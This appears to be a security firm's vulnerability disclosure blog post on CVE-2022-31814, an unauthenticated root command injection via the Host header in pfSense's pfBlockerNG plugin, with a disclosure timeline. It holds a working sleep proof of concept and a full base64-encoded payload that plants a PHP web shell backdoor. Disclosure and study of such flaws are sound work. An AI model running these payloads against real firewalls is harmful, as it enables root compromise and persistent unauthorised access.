pfBlockerNG Unauth RCE Vulnerability


IHTeam undertook an independent security assessment of pfsense’s pfBlockerNG plugin version 2.1.4_26 and identified the following vulnerability:

  • Unauthenticated Remote Command Execution as root (CVE-2022-31814)

What’s pfBlockerNG

pfBlockerNG ( is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.


IHTeam identified a remote command execution vulnerability in pfBlockerNG <= 2.1.4_26 that can be exploited from an unauthenticated perspective.

Fig 1: Image showing the installed pfBlockerNG plugin

Being the web server run by the root user, the impact of this vulnerability is critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The consultant downloaded the latest stable version of pfSense (2.6.0 at the moment of writing) and installed the latest stable version of pfBlockerNG (2.1.4_26 at the moment of writing).

The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command.

// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));

exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input that could result in changing the meaning of the command (as originally intended). An attacker can tamper with the HTTP_HOST parameter via the “Host:” header of the request, as shown in the picture below:

Fig 2: Image showing the “Host” header value reflected in command

Restrictions on characters

There were few restrictions in place regarding characters you could use:

  • htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
Fig 3: Image showing how “&” was encoded in HTML when used
  • nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Fig 4: Image showing nginx returning 400

Therefore, the only available characters to build a working payload were:

  • pipe (|)
  • semicolon (;)
  • single quote (‘)
  • spaces ( )

–Simple proof of concept–

To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:

/usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*

In order to obtain a working PoC, we need:

  1. Close the single quote
  2. Specify a directory to search on
  3. Break the command with a semicolon
  4. Comment or add an additional single quote
' *; sleep 5; '

The above simple proof of concept made the system delay the request for 5 seconds, confirming the injection worked.

–Backdooring pfSense–

The next step would involve the build of a stable shell on the remote machine and to do so, we would need to find a creative way to (at least) write a PHP file.

Remember that we can’t use redirections or even forward slashes, therefore the consultant utilized base64 to write a more complex payload that could be executed via php-cli.

However, the “base64 -d” binary was not installed by default in pfSense, but python3.8 was, therefore we were able to write and decode base64 payloads and pipe everything in the php-cli binary:

  • Simple PHP code
  • Encode it in base64
  • Use python to decode the base64
python3.8 -m base64 -d
  • Pipe everything into PHP
| php
Fig 5: Image showing the “echo” message successfully executed by PHP

Keep in mind that base64 has forward slashes (/) in its charset – therefore build a payload that doesn’t include them.

Now that we got back the “HELL” message, we know that PHP successfully executed our payload, we can build a more complex payload to backdoor pfSense.

<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>

It creates a file in /usr/local/www/system_advanced_control.php with a very simple call to execute command and get back results from it.


Once again, the above payload, encoded in base64, did not contain any forward slashes. Hence, the final payload to obtain a backdoor in pfSense would be as follow:

/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*

Exploit Code

The exploit code can be found at

Fig 6: Image showing the exploit execution

Disclosure Timeline

28/05/2022 – Technical details sent to [email protected]
31/05/2022 – No response from NetGate, directly contacted BBcan177 (maintainer of the package in GitHub)
05/06/2022 – BBcan177 released a temporary patch while waiting to deprecate version 2.x in favor of 3.x
07/06/2022 – NetGate came back saying they don’t issue security advisories for vulnerabilities within Packages, especially community-maintained packages such as pfBlockerNG.
–3 months delay to allow clients to patch–
05/09/2022 – Blog post and exploit published

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.